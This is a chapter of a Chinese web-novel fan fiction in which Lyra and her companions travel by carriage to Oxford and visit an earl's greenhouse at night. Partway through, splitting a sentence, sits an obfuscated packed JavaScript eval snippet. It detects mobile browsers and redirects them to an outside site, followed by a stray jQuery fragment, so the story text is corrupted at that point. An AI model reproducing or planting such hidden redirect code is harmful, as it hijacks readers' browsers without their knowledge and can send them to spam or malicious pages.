37.温室午夜
作品:《[综名著]某科学顾问的基督山伯爵》 去牛津当然还是肯特伯爵提供的马车,提供的场地,提供的一切,莱拉老实不客气地使用肯特伯爵为她提供的一切便利,并且拒绝对肯特伯爵夫人“仁慈一点”。
“拜托,我救了她的命,这还不叫仁慈吗?”
莱拉对玛莎抱怨。
“哦,我想,肯特伯爵大人说的是日常生活方面呀,他一定很爱他的夫人。”
莱拉:“至少他能分得清轻重。”
她们在收拾衣物,去牛津要带一大堆人,做一整天的马车,肯特伯爵给她们安排了两辆车,不过考虑到人数之多,行李很有必要轻简一些。
莱拉·阿什博恩是唯一有技术的人,玛莎是陪伴她的,朋友在生活中必不可少,简是一个出主意的人,她为人正直,很可靠,南希和奥利弗是模特,她们在初期什么都不用做,但是莱拉有把握让“初期”在三天内结束。
金色需要漂发。
莱拉默默看着窗外,街上是慢腾腾的马车,还有急匆匆的行人。
金色和黑色是莱拉预备先搞出来的两个颜色。
黑色属于贵族,金色属于天使,这两个颜色都会受到追捧的,至于说酒红色这样的颜色,在现代是挺受欢迎的,但是这会,估计没人想把头发染成红的。
“你是怎么想到染发剂的主意的呢?”
简走过来,轻轻地问。打扫房间的女仆有些敷衍,窗台上竟然有些没擦干净的灰尘,简拿一块软布擦过去,搓出来一条毛绒绒的灰。
莱拉:“肯特伯爵府上的仆人对我们也太敷衍了。”
她继续抱怨,就像是刚才对玛莎一样。
“所以我想要搬出去住。”
简吓了一跳:“莱拉小姐,是艾格尼丝嬷嬷把你推荐给肯特伯爵夫人的……我们搬出去住,是不是对艾格尼丝嬷嬷不太好?”
莱拉:“什么?简,难道我们对待肯特伯爵夫人很好吗?”
简:“我们当然对她很好了,我不能理解你为什么这样说,莱拉小姐,在我看来,你对待肯特伯爵夫人的方法完全是一位淑女应该做的。”
莱拉:“非常好,可是肯特伯爵夫人对我们确不是一位高贵的夫人应该做的,眼下,我们要搬到肯特伯爵在牛津的私人住所,借用他的实验室和温室。”
简:“你这样做是为了有理由搬离肯特伯爵在伦敦的宅邸吗。”
这是个问句,理论上来说,是一个问句,可是简说它的语气是彻彻底底的陈述句。
莱拉:“伦敦的夏天总是惹人厌烦,没有想在城里过夏天,我不喜欢,你也不喜欢,是不是?”
简说实话:“小姐,事实上,我从来没有在伦敦城里过任何一个夏天。”
莱拉:“那么,这个夏天也没有必要在伦敦城里过。”
她刚刚写了一封短信,叫仆人送到约翰尼·阿什博恩的住址,声明他的未婚妻南希·德尔维是自己的人了,并且把这个好消息告诉了南希本人。
“你高兴吗?”
南希:“我目前是高兴的。”
莱拉:“因为你不用担心怎么面对一个未婚夫?你依然爱着比尔·赛克斯吗?”
南希没有回答后一个问题,但是她说是的,说自己很高兴不需要面对自己名义上的未婚夫。
最后一个是小奥利弗·退斯特,莱拉亲密地揽着他说了最多的话,因为奥利弗是一个闲人,他只用收拾自己的行李。
“你来做我的模特吧,漂亮的小孩子,我知道人们都喜欢漂亮的小孩子,你的头发多么好啊!”
“奥利弗,做了模特,你会在伦敦更有名,让你的家人能更快地找到你。本来去贫民习艺所去打听会更快的,但是我实在走不开身,奥利弗。”
最后,五个人的东西都收拾好了,这一群性格出身各异的少年登上两辆马车,莱拉特意安排简和南希坐在一起,让奥利弗和自己与玛莎一辆马车。
马车轮子磷磷地响起来,莱拉忽然噗嗤笑出来声音:“多么有趣啊,我真想唱歌。”
玛莎:“什么有趣?”
莱拉:“我想到我们这些人加起来还没有一百岁,要知道,我们可是五个人在两辆马车上啊!”
玛莎开始算加法:“我十三岁,莱拉小姐十六岁,简小姐十九岁,德尔维小姐二十二岁,小奥利弗十岁,哦,果真如此,我们加起来不超过一百岁。”
莱拉笑起来,她拉着玛莎的手,干粗活留下的茧子已经消退了一些了。没有洗衣机的时代,会有洗衣工,不过这些重活至少得是成年人干的,一个十三岁的孩子就在修道院当打杂的,干各种重活,太不像话了。
玛莎:“我昨天晚上又给家里寄了一封信,说我们要去牛津过夏天,不过,妈妈还没有回信,她会写又大又漂亮的印刷体字母,我觉得她真是厉害。”
莱拉:“是的,我想她是跟着报纸自学写字的,因为那上面全都是印刷体的字母。”
玛莎高兴地叫道:“就是这样啦,小姐,你完全猜对了,妈妈也没有上过学,但是周末去沙斯顿镇上买东西回来,她就把包奶酪的报纸留下,学着上面的样子写字。”
从伦敦西区到牛津要走整整一个白天,莱拉坐得屁股生疼,马车的坐垫谈不上柔软,减震功能几乎没有,可是看看玛莎和奥利弗的样子,两个人都很坦然,不觉得有什么,让莱拉忍不住怀疑是不是自己太过娇气了。她今天穿的是男装,可能是紧身的马甲裹得太难受了。
“我讨厌马拉的车。”
在最后一个驿站换马休息的时候,莱拉在地上拖着僵硬的下半身走来走去,她觉得自己的腿快要失去知觉了。
抵达牛津的时候已经是深夜了,马车停在一座两层小楼前,一行人打着哈欠走下来,匆匆忙忙地搬行礼。
“伯爵大人的温室在宽街102号,”莱拉对简说,“我们走吧,今天就不学法语了,我们先去温室看一看。”
她又对南希说:“德尔维小姐,请你安排大家先去休息,管家会帮助你的。”
南希·德尔维在黑暗中看不清楚莱拉的面容,但是她怀疑黑暗也让自己听不清楚了。莱拉·阿什博恩怎么会安排自己做这些事情呢?她这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578447|170143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辈子就没有住过这样体面的房子,也没有任何操持家务的机会。
但是南希没有机会发问。
“阿什博恩小姐!”
她只来得及叫这么一声,就听见车夫收起踏板的声音,还有马车的门再次关上的声音,紧接着,还没有解开挽具的马匹嘶鸣一声,马蹄铁再次开始敲击地面。
“现在,只有我们两个人了。”
莱拉快活地对简说。
简:“是的,莱拉小姐,我想不到有一天自己有机会拜访一位牛津教授的私人温室。”
莱拉:“我同样没有想到,但是这是一个很好的开始,在夜晚学习法语和拉丁语是一个好主意,显而易见,否则我们在这个时间无论如何都不会有充足的精力继续探险的。”
宽街的夜晚寂静无声。
夏夜温凉的空气爽利地穿过整个街区,在莱拉心中什么都不留下,只留下一片清明。她感觉自己又醒过来了,又活过来了。
啊,夜晚。
莱拉喜欢晚上,只有月亮,只有星星,没有大片大片的乌云。今天的天气不算好,白天的马车轿厢又热又闷,可是到了晚上,一走下来,她就惊喜地看到乌云退散,露出同样大片大片的深蓝色天空——原来这么大一片的天都是被那么大一片乌云给挡着的。
这一次的路程非常短,莱拉在座位上闭目,养了大约十分钟的神,马蹄声再度消失,停在一座玻璃建筑前。
对于打扰看门人这件事,莱拉早已熟悉,她手里有肯特伯爵给的钥匙,但还是把睡梦中的看门人叫醒,不然夜里没有提灯,她们什么都看不见的。
“打扰一下,菲茨罗伊教授说我们可以随意使用他的温室,先生,这是他的信,这是他给我的备用钥匙。”
看门人很有几分不拘小节的样子,他戴了一副夹鼻眼镜,却穿着睡衣,听见莱拉这么说话,就算是晚上也能看出来他眼睛瞪得快要夹不住眼镜了。
在伦敦西区,用的更多的头衔是肯特伯爵,而在这里,则是菲茨罗伊教授。
“我是莱昂·阿什博恩,菲茨罗伊教授说他很看好我通过牛津的面试。”
最后,她补充上自己的个人信息。
看门人硬邦邦地回答:“你好,阿什博恩先生,我没有想到菲茨罗伊教授会允许你在大半夜来温室。”
莱拉:“哦,他的确允许了。”
对方接过肯特伯爵,或者说菲茨罗伊教授的字条:“不错,的确是教授的笔迹。”
他转身又进了屋,简趁机问:“这个古怪的老园丁怎么又回去了?”
“因为我给你们拿灯去了,别告诉我你们觉得自己可以摸黑看清楚植物,自大的小鬼!”
他没好气地把两盏玻璃风灯交到莱拉手里,自己气呼呼地回去了,走到一半,扭头说:“既然你们有钥匙,我就不必亲自给你们开门了,赞美菲茨罗伊教授,愿他身体健康!”
莱拉冲简眨眨眼睛:“听见没有,自大的小鬼?”
简微笑:“真是的,我连男装都没有换,他就把我也当成男人了!”